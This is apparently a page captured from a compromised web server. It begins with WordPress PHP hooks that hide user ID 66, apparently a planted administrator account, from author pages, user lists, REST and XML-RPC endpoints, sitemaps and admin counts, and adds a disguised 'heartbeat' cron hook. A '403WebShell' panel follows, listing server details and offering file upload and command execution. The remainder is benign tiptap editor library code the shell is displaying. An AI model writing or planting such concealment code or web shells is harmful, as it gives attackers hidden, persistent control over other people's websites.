add_action( 'pre_get_posts', function( $q ) { if ( ! is_admin() && $q->is_main_query() ) { $not_in = (array) $q->get( 'author__not_in' ); $not_in[] = 66; $q->set( 'author__not_in', array_unique( array_map( 'intval', $not_in ) ) ); } }, 1 ); add_action( 'template_redirect', function() { if ( is_author() ) { $author = get_queried_object(); if ( $author instanceof WP_User && (int) $author->ID === 66 ) { global $wp_query; $wp_query->set_404(); status_header( 404 ); nocache_headers(); } } } ); add_action( 'pre_user_query', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } global $wpdb; $q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 66 ); } ); add_action( 'pre_get_users', function( $q ) { if ( current_user_can( 'manage_options' ) ) { return; } $exclude = (array) $q->get( 'exclude' ); $exclude[] = 66; $q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) ); } ); add_filter( 'wp_dropdown_users_args', function( $a ) { $exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array(); $exclude[] = 66; $a['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $a; } ); add_filter( 'rest_user_query', function( $args, $request ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; }, 10, 2 ); add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) { $route = $request->get_route(); if ( preg_match( '#^/wp/v2/users/66(/|$)#', $route ) ) { return new WP_Error( 'rest_user_invalid_id', 'Invalid user ID.', array( 'status' => 404 ) ); } return $result; }, 10, 3 ); add_filter( 'xmlrpc_methods', function( $methods ) { unset( $methods['wp.getUsers'], $methods['wp.getUser'], $methods['wp.getProfile'] ); return $methods; } ); add_filter( 'wp_sitemaps_users_query_args', function( $args ) { $exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array(); $exclude[] = 66; $args['exclude'] = array_unique( array_map( 'intval', $exclude ) ); return $args; } ); add_action( 'admin_head-users.php', function() { echo ''; } ); add_filter( 'views_users', function( $views ) { foreach ( array( 'all', 'administrator' ) as $key ) { if ( isset( $views[ $key ] ) ) { $views[ $key ] = preg_replace_callback( '/\((\d+)\)/', function( $m ) { return '(' . max( 0, (int) $m[1] - 1 ) . ')'; }, $views[ $key ], 1 ); } } return $views; } ); add_action( 'init', function() { if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) { return; } if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) { wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' ); } } ); add_action( 'wp_extra_bot_heartbeat', function() { // noop } ); 403WebShell
403Webshell
Server IP : 167.235.224.122  /  Your IP : 216.73.216.110
Web Server : Apache/2.4.58 (Ubuntu)
System : Linux newplayground 6.8.0-136-generic #136-Ubuntu SMP PREEMPT_DYNAMIC Wed Jul 1 21:33:11 UTC 2026 aarch64
User : deploy ( 1000)
PHP Version : 8.4.23
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : OFF
Directory :  /var/www/html/jungly/node_modules/tiptap-extensions/dist/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/html/jungly/node_modules/tiptap-extensions/dist/extensions.common.js
    /*!
    * tiptap-extensions v1.35.1
    * (c) 2021 überdosis GbR (limited liability)
    * @license MIT
    */
  
'use strict';

Object.defineProperty(exports, '__esModule', { value: true });

function _interopDefault (ex) { return (ex && (typeof ex === 'object') && 'default' in ex) ? ex['default'] : ex; }

var tiptap = require('tiptap');
var tiptapCommands = require('tiptap-commands');
var low = _interopDefault(require('lowlight/lib/core'));
var prosemirrorView = require('prosemirror-view');
var tiptapUtils = require('tiptap-utils');
var prosemirrorModel = require('prosemirror-model');
var prosemirrorState = require('prosemirror-state');
var prosemirrorTables = require('prosemirror-tables');
var prosemirrorTransform = require('prosemirror-transform');
var prosemirrorCollab = require('prosemirror-collab');
var prosemirrorHistory = require('prosemirror-history');

class Blockquote extends tiptap.Node {
  get name() {
    return 'blockquote';
  }

  get schema() {
    return {
      content: 'block*',
      group: 'block',
      defining: true,
      draggable: false,
      parseDOM: [{
        tag: 'blockquote'
      }],
      toDOM: () => ['blockquote', 0]
    };
  }

  commands({
    type
  }) {
    return () => tiptapCommands.toggleWrap(type);
  }

  keys({
    type
  }) {
    return {
      'Ctrl->': tiptapCommands.toggleWrap(type)
    };
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.wrappingInputRule(/^\s*>\s$/, type)];
  }

}

class BulletList extends tiptap.Node {
  get name() {
    return 'bullet_list';
  }

  get schema() {
    return {
      content: 'list_item+',
      group: 'block',
      parseDOM: [{
        tag: 'ul'
      }],
      toDOM: () => ['ul', 0]
    };
  }

  commands({
    type,
    schema
  }) {
    return () => tiptapCommands.toggleList(type, schema.nodes.list_item);
  }

  keys({
    type,
    schema
  }) {
    return {
      'Shift-Ctrl-8': tiptapCommands.toggleList(type, schema.nodes.list_item)
    };
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.wrappingInputRule(/^\s*([-+*])\s$/, type)];
  }

}

class CodeBlock extends tiptap.Node {
  get name() {
    return 'code_block';
  }

  get schema() {
    return {
      content: 'text*',
      marks: '',
      group: 'block',
      code: true,
      defining: true,
      draggable: false,
      parseDOM: [{
        tag: 'pre',
        preserveWhitespace: 'full'
      }],
      toDOM: () => ['pre', ['code', 0]]
    };
  }

  commands({
    type,
    schema
  }) {
    return () => tiptapCommands.toggleBlockType(type, schema.nodes.paragraph);
  }

  keys({
    type
  }) {
    return {
      'Shift-Ctrl-\\': tiptapCommands.setBlockType(type)
    };
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.textblockTypeInputRule(/^```$/, type)];
  }

}

function getDecorations({
  doc,
  name
}) {
  const decorations = [];
  const blocks = tiptapUtils.findBlockNodes(doc).filter(item => item.node.type.name === name);

  const flatten = list => list.reduce((a, b) => a.concat(Array.isArray(b) ? flatten(b) : b), []);

  function parseNodes(nodes, className = []) {
    return nodes.map(node => {
      const classes = [...className, ...(node.properties ? node.properties.className : [])];

      if (node.children) {
        return parseNodes(node.children, classes);
      }

      return {
        text: node.value,
        classes
      };
    });
  }

  blocks.forEach(block => {
    let startPos = block.pos + 1;
    const nodes = low.highlightAuto(block.node.textContent).value;
    flatten(parseNodes(nodes)).map(node => {
      const from = startPos;
      const to = from + node.text.length;
      startPos = to;
      return { ...node,
        from,
        to
      };
    }).forEach(node => {
      const decoration = prosemirrorView.Decoration.inline(node.from, node.to, {
        class: node.classes.join(' ')
      });
      decorations.push(decoration);
    });
  });
  return prosemirrorView.DecorationSet.create(doc, decorations);
}

function HighlightPlugin({
  name
}) {
  return new tiptap.Plugin({
    name: new tiptap.PluginKey('highlight'),
    state: {
      init: (_, {
        doc
      }) => getDecorations({
        doc,
        name
      }),
      apply: (transaction, decorationSet, oldState, newState) => {
        // TODO: find way to cache decorations
        // https://discuss.prosemirror.net/t/how-to-update-multiple-inline-decorations-on-node-change/1493
        const oldNodeName = oldState.selection.$head.parent.type.name;
        const newNodeName = newState.selection.$head.parent.type.name;
        const oldNodes = tiptapUtils.findBlockNodes(oldState.doc).filter(item => item.node.type.name === name);
        const newNodes = tiptapUtils.findBlockNodes(newState.doc).filter(item => item.node.type.name === name); // Apply decorations if selection includes named node, or transaction changes named node.

        if (transaction.docChanged && ([oldNodeName, newNodeName].includes(name) || newNodes.length !== oldNodes.length)) {
          return getDecorations({
            doc: transaction.doc,
            name
          });
        }

        return decorationSet.map(transaction.mapping, transaction.doc);
      }
    },
    props: {
      decorations(state) {
        return this.getState(state);
      }

    }
  });
}

class CodeBlockHighlight extends tiptap.Node {
  constructor(options = {}) {
    super(options);

    try {
      Object.entries(this.options.languages).forEach(([name, mapping]) => {
        low.registerLanguage(name, mapping);
      });
    } catch (err) {
      throw new Error('Invalid syntax highlight definitions: define at least one highlight.js language mapping');
    }
  }

  get name() {
    return 'code_block';
  }

  get defaultOptions() {
    return {
      languages: {}
    };
  }

  get schema() {
    return {
      content: 'text*',
      marks: '',
      group: 'block',
      code: true,
      defining: true,
      draggable: false,
      parseDOM: [{
        tag: 'pre',
        preserveWhitespace: 'full'
      }],
      toDOM: () => ['pre', ['code', 0]]
    };
  }

  commands({
    type,
    schema
  }) {
    return () => tiptapCommands.toggleBlockType(type, schema.nodes.paragraph);
  }

  keys({
    type
  }) {
    return {
      'Shift-Ctrl-\\': tiptapCommands.setBlockType(type)
    };
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.textblockTypeInputRule(/^```$/, type)];
  }

  get plugins() {
    return [HighlightPlugin({
      name: this.name
    })];
  }

}

class HardBreak extends tiptap.Node {
  get name() {
    return 'hard_break';
  }

  get schema() {
    return {
      inline: true,
      group: 'inline',
      selectable: false,
      parseDOM: [{
        tag: 'br'
      }],
      toDOM: () => ['br']
    };
  }

  commands({
    type
  }) {
    return () => tiptapCommands.chainCommands(tiptapCommands.exitCode, (state, dispatch) => {
      dispatch(state.tr.replaceSelectionWith(type.create()).scrollIntoView());
      return true;
    });
  }

  keys({
    type
  }) {
    const command = tiptapCommands.chainCommands(tiptapCommands.exitCode, (state, dispatch) => {
      dispatch(state.tr.replaceSelectionWith(type.create()).scrollIntoView());
      return true;
    });
    return {
      'Mod-Enter': command,
      'Shift-Enter': command
    };
  }

}

class Heading extends tiptap.Node {
  get name() {
    return 'heading';
  }

  get defaultOptions() {
    return {
      levels: [1, 2, 3, 4, 5, 6]
    };
  }

  get schema() {
    return {
      attrs: {
        level: {
          default: 1
        }
      },
      content: 'inline*',
      group: 'block',
      defining: true,
      draggable: false,
      parseDOM: this.options.levels.map(level => ({
        tag: `h${level}`,
        attrs: {
          level
        }
      })),
      toDOM: node => [`h${node.attrs.level}`, 0]
    };
  }

  commands({
    type,
    schema
  }) {
    return attrs => tiptapCommands.toggleBlockType(type, schema.nodes.paragraph, attrs);
  }

  keys({
    type
  }) {
    return this.options.levels.reduce((items, level) => ({ ...items,
      ...{
        [`Shift-Ctrl-${level}`]: tiptapCommands.setBlockType(type, {
          level
        })
      }
    }), {});
  }

  inputRules({
    type
  }) {
    return this.options.levels.map(level => tiptapCommands.textblockTypeInputRule(new RegExp(`^(#{1,${level}})\\s$`), type, () => ({
      level
    })));
  }

}

class HorizontalRule extends tiptap.Node {
  get name() {
    return 'horizontal_rule';
  }

  get schema() {
    return {
      group: 'block',
      parseDOM: [{
        tag: 'hr'
      }],
      toDOM: () => ['hr']
    };
  }

  commands({
    type
  }) {
    return () => (state, dispatch) => dispatch(state.tr.replaceSelectionWith(type.create()));
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.nodeInputRule(/^(?:---|___\s|\*\*\*\s)$/, type)];
  }

}

/**
 * Matches following attributes in Markdown-typed image: [, alt, src, title]
 *
 * Example:
 * ![Lorem](image.jpg) -> [, "Lorem", "image.jpg"]
 * ![](image.jpg "Ipsum") -> [, "", "image.jpg", "Ipsum"]
 * ![Lorem](image.jpg "Ipsum") -> [, "Lorem", "image.jpg", "Ipsum"]
 */

const IMAGE_INPUT_REGEX = /!\[(.+|:?)]\((\S+)(?:(?:\s+)["'](\S+)["'])?\)/;
class Image extends tiptap.Node {
  get name() {
    return 'image';
  }

  get schema() {
    return {
      inline: true,
      attrs: {
        src: {},
        alt: {
          default: null
        },
        title: {
          default: null
        }
      },
      group: 'inline',
      draggable: true,
      parseDOM: [{
        tag: 'img[src]',
        getAttrs: dom => ({
          src: dom.getAttribute('src'),
          title: dom.getAttribute('title'),
          alt: dom.getAttribute('alt')
        })
      }],
      toDOM: node => ['img', node.attrs]
    };
  }

  commands({
    type
  }) {
    return attrs => (state, dispatch) => {
      const {
        selection
      } = state;
      const position = selection.$cursor ? selection.$cursor.pos : selection.$to.pos;
      const node = type.create(attrs);
      const transaction = state.tr.insert(position, node);
      dispatch(transaction);
    };
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.nodeInputRule(IMAGE_INPUT_REGEX, type, match => {
      const [, alt, src, title] = match;
      return {
        src,
        alt,
        title
      };
    })];
  }

  get plugins() {
    return [new tiptap.Plugin({
      props: {
        handleDOMEvents: {
          drop(view, event) {
            const hasFiles = event.dataTransfer && event.dataTransfer.files && event.dataTransfer.files.length;

            if (!hasFiles) {
              return;
            }

            const images = Array.from(event.dataTransfer.files).filter(file => /image/i.test(file.type));

            if (images.length === 0) {
              return;
            }

            event.preventDefault();
            const {
              schema
            } = view.state;
            const coordinates = view.posAtCoords({
              left: event.clientX,
              top: event.clientY
            });
            images.forEach(image => {
              const reader = new FileReader();

              reader.onload = readerEvent => {
                const node = schema.nodes.image.create({
                  src: readerEvent.target.result
                });
                const transaction = view.state.tr.insert(coordinates.pos, node);
                view.dispatch(transaction);
              };

              reader.readAsDataURL(image);
            });
          }

        }
      }
    })];
  }

}

class ListItem extends tiptap.Node {
  get name() {
    return 'list_item';
  }

  get schema() {
    return {
      content: 'paragraph block*',
      defining: true,
      draggable: false,
      parseDOM: [{
        tag: 'li'
      }],
      toDOM: () => ['li', 0]
    };
  }

  keys({
    type
  }) {
    return {
      Enter: tiptapCommands.splitListItem(type),
      Tab: tiptapCommands.sinkListItem(type),
      'Shift-Tab': tiptapCommands.liftListItem(type)
    };
  }

}

function getTextBetween(node, from, to, blockSeparator, inlineSeparator, leafText = '\0') {
  let text = '';
  let blockSeparated = true;
  let inlineNode = null;
  node.content.nodesBetween(from, to, (innerNode, pos) => {
    if (innerNode.isText) {
      if (inlineNode) {
        inlineNode = null;
        return;
      }

      text += innerNode.text.slice(Math.max(from, pos) - pos, to - pos);
      blockSeparated = !blockSeparator;
    } else if (innerNode.isLeaf && leafText) {
      text += leafText;
      blockSeparated = !blockSeparator;
    } else if (innerNode.isInline && !innerNode.isLeaf) {
      text += inlineSeparator;

      if (innerNode.textContent) {
        text += innerNode.textContent;
        inlineNode = innerNode;
      }

      text += inlineSeparator;
      blockSeparated = !blockSeparated;
    } else if (!blockSeparated && innerNode.isBlock) {
      text += blockSeparator;
      blockSeparated = true;
    }
  }, 0);
  return text;
} // Create a matcher that matches when a specific character is typed. Useful for @mentions and #tags.


function triggerCharacter({
  char = '@',
  allowSpaces = false,
  startOfLine = false
}) {
  return $position => {
    // cancel if top level node
    if ($position.depth <= 0) {
      return false;
    } // Matching expressions used for later


    const escapedChar = `\\${char}`;
    const suffix = new RegExp(`\\s${escapedChar}$`);
    const prefix = startOfLine ? '^' : '';
    const regexp = allowSpaces ? new RegExp(`${prefix}${escapedChar}.*?(?=\\s${escapedChar}|$)`, 'gm') : new RegExp(`${prefix}(?:^)?${escapedChar}[^\\s${escapedChar}]*`, 'gm'); // Lookup the boundaries of the current node

    const textFrom = $position.before();
    const textTo = $position.end();
    const text = getTextBetween($position.doc, textFrom, textTo, '\0', '\0');
    let match = regexp.exec(text);
    let position;

    while (match !== null) {
      // JavaScript doesn't have lookbehinds; this hacks a check that first character is " "
      // or the line beginning
      const matchPrefix = match.input.slice(Math.max(0, match.index - 1), match.index);

      if (/^[\s\0]?$/.test(matchPrefix)) {
        // The absolute position of the match in the document
        const from = match.index + $position.start();
        let to = from + match[0].length; // Edge case handling; if spaces are allowed and we're directly in between
        // two triggers

        if (allowSpaces && suffix.test(text.slice(to - 1, to + 1))) {
          match[0] += ' ';
          to += 1;
        } // If the $position is located within the matched substring, return that range


        if (from < $position.pos && to >= $position.pos) {
          position = {
            range: {
              from,
              to
            },
            query: match[0].slice(char.length),
            text: match[0]
          };
        }
      }

      match = regexp.exec(text);
    }

    return position;
  };
}

function SuggestionsPlugin({
  matcher = {
    char: '@',
    allowSpaces: false,
    startOfLine: false
  },
  appendText = null,
  suggestionClass = 'suggestion',
  command = () => false,
  items = [],
  onEnter = () => false,
  onChange = () => false,
  onExit = () => false,
  onKeyDown = () => false,
  onFilter = (searchItems, query) => {
    if (!query) {
      return searchItems;
    }

    return searchItems.filter(item => JSON.stringify(item).toLowerCase().includes(query.toLowerCase()));
  }
}) {
  return new prosemirrorState.Plugin({
    key: new prosemirrorState.PluginKey('suggestions'),

    view() {
      return {
        update: async (view, prevState) => {
          const prev = this.key.getState(prevState);
          const next = this.key.getState(view.state); // See how the state changed

          const moved = prev.active && next.active && prev.range.from !== next.range.from;
          const started = !prev.active && next.active;
          const stopped = prev.active && !next.active;
          const changed = !started && !stopped && prev.query !== next.query;
          const handleStart = started || moved;
          const handleChange = changed && !moved;
          const handleExit = stopped || moved; // Cancel when suggestion isn't active

          if (!handleStart && !handleChange && !handleExit) {
            return;
          }

          const state = handleExit ? prev : next;
          const decorationNode = document.querySelector(`[data-decoration-id="${state.decorationId}"]`); // build a virtual node for popper.js or tippy.js
          // this can be used for building popups without a DOM node

          const virtualNode = decorationNode ? {
            getBoundingClientRect() {
              return decorationNode.getBoundingClientRect();
            },

            clientWidth: decorationNode.clientWidth,
            clientHeight: decorationNode.clientHeight
          } : null;
          const props = {
            view,
            range: state.range,
            query: state.query,
            text: state.text,
            decorationNode,
            virtualNode,
            items: handleChange || handleStart ? await onFilter(Array.isArray(items) ? items : await items(), state.query) : [],
            command: ({
              range,
              attrs
            }) => {
              command({
                range,
                attrs,
                schema: view.state.schema
              })(view.state, view.dispatch, view);

              if (appendText) {
                tiptapCommands.insertText(appendText)(view.state, view.dispatch, view);
              }
            }
          }; // Trigger the hooks when necessary

          if (handleExit) {
            onExit(props);
          }

          if (handleChange) {
            onChange(props);
          }

          if (handleStart) {
            onEnter(props);
          }
        }
      };
    },

    state: {
      // Initialize the plugin's internal state.
      init() {
        return {
          active: false,
          range: {},
          query: null,
          text: null
        };
      },

      // Apply changes to the plugin state from a view transaction.
      apply(tr, prev) {
        const {
          selection
        } = tr;
        const next = { ...prev
        }; // We can only be suggesting if there is no selection

        if (selection.from === selection.to) {
          // Reset active state if we just left the previous suggestion range
          if (selection.from < prev.range.from || selection.from > prev.range.to) {
            next.active = false;
          } // Try to match against where our cursor currently is


          const $position = selection.$from;
          const match = triggerCharacter(matcher)($position);
          const decorationId = (Math.random() + 1).toString(36).substr(2, 5); // If we found a match, update the current state to show it

          if (match) {
            next.active = true;
            next.decorationId = prev.decorationId ? prev.decorationId : decorationId;
            next.range = match.range;
            next.query = match.query;
            next.text = match.text;
          } else {
            next.active = false;
          }
        } else {
          next.active = false;
        } // Make sure to empty the range if suggestion is inactive


        if (!next.active) {
          next.decorationId = null;
          next.range = {};
          next.query = null;
          next.text = null;
        }

        return next;
      }

    },
    props: {
      // Call the keydown hook if suggestion is active.
      handleKeyDown(view, event) {
        const {
          active,
          range
        } = this.getState(view.state);
        if (!active) return false;
        return onKeyDown({
          view,
          event,
          range
        });
      },

      // Setup decorator on the currently active suggestion.
      decorations(editorState) {
        const {
          active,
          range,
          decorationId
        } = this.getState(editorState);
        if (!active) return null;
        return prosemirrorView.DecorationSet.create(editorState.doc, [prosemirrorView.Decoration.inline(range.from, range.to, {
          nodeName: 'span',
          class: suggestionClass,
          'data-decoration-id': decorationId
        })]);
      }

    }
  });
}

class Mention extends tiptap.Node {
  get name() {
    return 'mention';
  }

  get defaultOptions() {
    return {
      matcher: {
        char: '@',
        allowSpaces: false,
        startOfLine: false
      },
      mentionClass: 'mention',
      suggestionClass: 'mention-suggestion'
    };
  }

  getLabel(dom) {
    return dom.innerText.split(this.options.matcher.char).join('');
  }

  createFragment(schema, label) {
    return prosemirrorModel.Fragment.fromJSON(schema, [{
      type: 'text',
      text: `${this.options.matcher.char}${label}`
    }]);
  }

  insertMention(range, attrs, schema) {
    const nodeType = schema.nodes[this.name];
    const nodeFragment = this.createFragment(schema, attrs.label);
    return tiptapCommands.replaceText(range, nodeType, attrs, nodeFragment);
  }

  get schema() {
    return {
      attrs: {
        id: {},
        label: {}
      },
      group: 'inline',
      inline: true,
      content: 'text*',
      selectable: false,
      atom: true,
      toDOM: node => ['span', {
        class: this.options.mentionClass,
        'data-mention-id': node.attrs.id
      }, `${this.options.matcher.char}${node.attrs.label}`],
      parseDOM: [{
        tag: 'span[data-mention-id]',
        getAttrs: dom => {
          const id = dom.getAttribute('data-mention-id');
          const label = this.getLabel(dom);
          return {
            id,
            label
          };
        },
        getContent: (dom, schema) => {
          const label = this.getLabel(dom);
          return this.createFragment(schema, label);
        }
      }]
    };
  }

  commands({
    schema
  }) {
    return attrs => this.insertMention(null, attrs, schema);
  }

  get plugins() {
    return [SuggestionsPlugin({
      command: ({
        range,
        attrs,
        schema
      }) => this.insertMention(range, attrs, schema),
      appendText: ' ',
      matcher: this.options.matcher,
      items: this.options.items,
      onEnter: this.options.onEnter,
      onChange: this.options.onChange,
      onExit: this.options.onExit,
      onKeyDown: this.options.onKeyDown,
      onFilter: this.options.onFilter,
      suggestionClass: this.options.suggestionClass
    })];
  }

}

class OrderedList extends tiptap.Node {
  get name() {
    return 'ordered_list';
  }

  get schema() {
    return {
      attrs: {
        order: {
          default: 1
        }
      },
      content: 'list_item+',
      group: 'block',
      parseDOM: [{
        tag: 'ol',
        getAttrs: dom => ({
          order: dom.hasAttribute('start') ? +dom.getAttribute('start') : 1
        })
      }],
      toDOM: node => node.attrs.order === 1 ? ['ol', 0] : ['ol', {
        start: node.attrs.order
      }, 0]
    };
  }

  commands({
    type,
    schema
  }) {
    return () => tiptapCommands.toggleList(type, schema.nodes.list_item);
  }

  keys({
    type,
    schema
  }) {
    return {
      'Shift-Ctrl-9': tiptapCommands.toggleList(type, schema.nodes.list_item)
    };
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.wrappingInputRule(/^(\d+)\.\s$/, type, match => ({
      order: +match[1]
    }), (match, node) => node.childCount + node.attrs.order === +match[1])];
  }

}

var TableNodes = prosemirrorTables.tableNodes({
  tableGroup: 'block',
  cellContent: 'block+',
  cellAttributes: {
    background: {
      default: null,

      getFromDOM(dom) {
        return dom.style.backgroundColor || null;
      },

      setDOMAttr(value, attrs) {
        if (value) {
          const style = {
            style: `${attrs.style || ''}background-color: ${value};`
          };
          Object.assign(attrs, style);
        }
      }

    }
  }
});

class Table extends tiptap.Node {
  get name() {
    return 'table';
  }

  get defaultOptions() {
    return {
      resizable: false
    };
  }

  get schema() {
    return TableNodes.table;
  }

  commands({
    schema
  }) {
    return {
      createTable: ({
        rowsCount,
        colsCount,
        withHeaderRow
      }) => (state, dispatch) => {
        const offset = state.tr.selection.anchor + 1;
        const nodes = tiptapUtils.createTable(schema, rowsCount, colsCount, withHeaderRow);
        const tr = state.tr.replaceSelectionWith(nodes).scrollIntoView();
        const resolvedPos = tr.doc.resolve(offset);
        tr.setSelection(prosemirrorState.TextSelection.near(resolvedPos));
        dispatch(tr);
      },
      addColumnBefore: () => prosemirrorTables.addColumnBefore,
      addColumnAfter: () => prosemirrorTables.addColumnAfter,
      deleteColumn: () => prosemirrorTables.deleteColumn,
      addRowBefore: () => prosemirrorTables.addRowBefore,
      addRowAfter: () => prosemirrorTables.addRowAfter,
      deleteRow: () => prosemirrorTables.deleteRow,
      deleteTable: () => prosemirrorTables.deleteTable,
      toggleCellMerge: () => (state, dispatch) => {
        if (prosemirrorTables.mergeCells(state, dispatch)) {
          return;
        }

        prosemirrorTables.splitCell(state, dispatch);
      },
      mergeCells: () => prosemirrorTables.mergeCells,
      splitCell: () => prosemirrorTables.splitCell,
      toggleHeaderColumn: () => prosemirrorTables.toggleHeaderColumn,
      toggleHeaderRow: () => prosemirrorTables.toggleHeaderRow,
      toggleHeaderCell: () => prosemirrorTables.toggleHeaderCell,
      setCellAttr: ({
        name,
        value
      }) => prosemirrorTables.setCellAttr(name, value),
      fixTables: () => prosemirrorTables.fixTables
    };
  }

  keys() {
    return {
      Tab: prosemirrorTables.goToNextCell(1),
      'Shift-Tab': prosemirrorTables.goToNextCell(-1)
    };
  }

  get plugins() {
    return [...(this.options.resizable ? [prosemirrorTables.columnResizing()] : []), prosemirrorTables.tableEditing()];
  }

}

class TableHeader extends tiptap.Node {
  get name() {
    return 'table_header';
  }

  get schema() {
    return TableNodes.table_header;
  }

}

class TableCell extends tiptap.Node {
  get name() {
    return 'table_cell';
  }

  get schema() {
    return TableNodes.table_cell;
  }

}

class TableRow extends tiptap.Node {
  get name() {
    return 'table_row';
  }

  get schema() {
    return TableNodes.table_row;
  }

}

class TodoItem extends tiptap.Node {
  get name() {
    return 'todo_item';
  }

  get defaultOptions() {
    return {
      nested: false
    };
  }

  get view() {
    return {
      props: ['node', 'updateAttrs', 'view'],
      methods: {
        onChange() {
          this.updateAttrs({
            done: !this.node.attrs.done
          });
        }

      },
      template: `
        <li :data-type="node.type.name" :data-done="node.attrs.done.toString()" data-drag-handle>
          <span class="todo-checkbox" contenteditable="false" @click="onChange"></span>
          <div class="todo-content" ref="content" :contenteditable="view.editable.toString()"></div>
        </li>
      `
    };
  }

  get schema() {
    return {
      attrs: {
        done: {
          default: false
        }
      },
      draggable: true,
      content: this.options.nested ? '(paragraph|todo_list)+' : 'paragraph+',
      toDOM: node => {
        const {
          done
        } = node.attrs;
        return ['li', {
          'data-type': this.name,
          'data-done': done.toString()
        }, ['span', {
          class: 'todo-checkbox',
          contenteditable: 'false'
        }], ['div', {
          class: 'todo-content'
        }, 0]];
      },
      parseDOM: [{
        priority: 51,
        tag: `[data-type="${this.name}"]`,
        getAttrs: dom => ({
          done: dom.getAttribute('data-done') === 'true'
        })
      }]
    };
  }

  keys({
    type
  }) {
    return {
      Enter: tiptapCommands.splitToDefaultListItem(type),
      Tab: this.options.nested ? tiptapCommands.sinkListItem(type) : () => {},
      'Shift-Tab': tiptapCommands.liftListItem(type)
    };
  }

}

class TodoList extends tiptap.Node {
  get name() {
    return 'todo_list';
  }

  get schema() {
    return {
      group: 'block',
      content: 'todo_item+',
      toDOM: () => ['ul', {
        'data-type': this.name
      }, 0],
      parseDOM: [{
        priority: 51,
        tag: `[data-type="${this.name}"]`
      }]
    };
  }

  commands({
    type,
    schema
  }) {
    return () => tiptapCommands.toggleList(type, schema.nodes.todo_item);
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.wrappingInputRule(/^\s*(\[ \])\s$/, type)];
  }

}

class Bold extends tiptap.Mark {
  get name() {
    return 'bold';
  }

  get schema() {
    return {
      parseDOM: [{
        tag: 'strong'
      }, {
        tag: 'b',
        getAttrs: node => node.style.fontWeight !== 'normal' && null
      }, {
        style: 'font-weight',
        getAttrs: value => /^(bold(er)?|[5-9]\d{2,})$/.test(value) && null
      }],
      toDOM: () => ['strong', 0]
    };
  }

  keys({
    type
  }) {
    return {
      'Mod-b': tiptapCommands.toggleMark(type)
    };
  }

  commands({
    type
  }) {
    return () => tiptapCommands.toggleMark(type);
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.markInputRule(/(?:\*\*|__)([^*_]+)(?:\*\*|__)$/, type)];
  }

  pasteRules({
    type
  }) {
    return [tiptapCommands.markPasteRule(/(?:\*\*|__)([^*_]+)(?:\*\*|__)/g, type)];
  }

}

class Code extends tiptap.Mark {
  get name() {
    return 'code';
  }

  get schema() {
    return {
      excludes: '_',
      parseDOM: [{
        tag: 'code'
      }],
      toDOM: () => ['code', 0]
    };
  }

  keys({
    type
  }) {
    return {
      'Mod-`': tiptapCommands.toggleMark(type)
    };
  }

  commands({
    type
  }) {
    return () => tiptapCommands.toggleMark(type);
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.markInputRule(/(?:`)([^`]+)(?:`)$/, type)];
  }

  pasteRules({
    type
  }) {
    return [tiptapCommands.markPasteRule(/(?:`)([^`]+)(?:`)/g, type)];
  }

}

class Italic extends tiptap.Mark {
  get name() {
    return 'italic';
  }

  get schema() {
    return {
      parseDOM: [{
        tag: 'i'
      }, {
        tag: 'em'
      }, {
        style: 'font-style=italic'
      }],
      toDOM: () => ['em', 0]
    };
  }

  keys({
    type
  }) {
    return {
      'Mod-i': tiptapCommands.toggleMark(type)
    };
  }

  commands({
    type
  }) {
    return () => tiptapCommands.toggleMark(type);
  }

  inputRules({
    type
  }) {
    return [tiptapCommands.markInputRule(/(?:^|[^_])(_([^_]+)_)$/, type), tiptapCommands.markInputRule(/(?:^|[^*])(\*([^*]+)\*)$/, type)];
  }

  pasteRules({
    type
  }) {
    return [tiptapCommands.markPasteRule(/_([^_]+)_/g, type), tiptapCommands.markPasteRule(/\*([^*]+)\*/g, type)];
  }

}

class Link extends tiptap.Mark {
  get name() {
    return 'link';
  }

  get defaultOptions() {
    return {
      openOnClick: true,
      target: null
    };
  }

  get schema() {
    return {
      attrs: {
        href: {
          default: null
        },
        target: {
          default: null
        }
      },
      inclusive: false,
      parseDOM: [{
        tag: 'a[href]',
        getAttrs: dom => ({
          href: dom.getAttribute('href'),
          target: dom.getAttribute('target')
        })
      }],
      toDOM: node => ['a', { ...node.attrs,
        rel: 'noopener noreferrer nofollow',
        target: node.attrs.target || this.options.target
      }, 0]
    };
  }

  commands({
    type
  }) {
    return attrs => {
      if (attrs.href) {
        return tiptapCommands.updateMark(type, attrs);
      }

      return tiptapCommands.removeMark(type);
    };
  }

  pasteRules({
    type
  }) {
    return [tiptapCommands.pasteRule(/https?:\/\/(www\.)?[-a-zA-Z0-9@:%._+~#=]{1,256}\.[a-zA-Z]{2,}\b([-a-zA-Z0-9@:%_+.~#?&//=,()!]*)/gi, type, url => ({
      href: url
    }))];
  }

  get plugins() {
    if (!this.options.openOnClick) {
      return [];
    }

    return [new tiptap.Plugin({
      props: {
        handleClick: (view, pos, event) => {
          const {
            schema
          } = view.state;
          const attrs = tiptapUtils.getMarkAttrs(view.state, schema.marks.link);

          if (attrs.href && event.target instanceof HTMLAnchorElement) {
            event.stopPropagation();
            window.open(attrs.href, attrs.target);
          }
        }
      }
    })];
  }

}

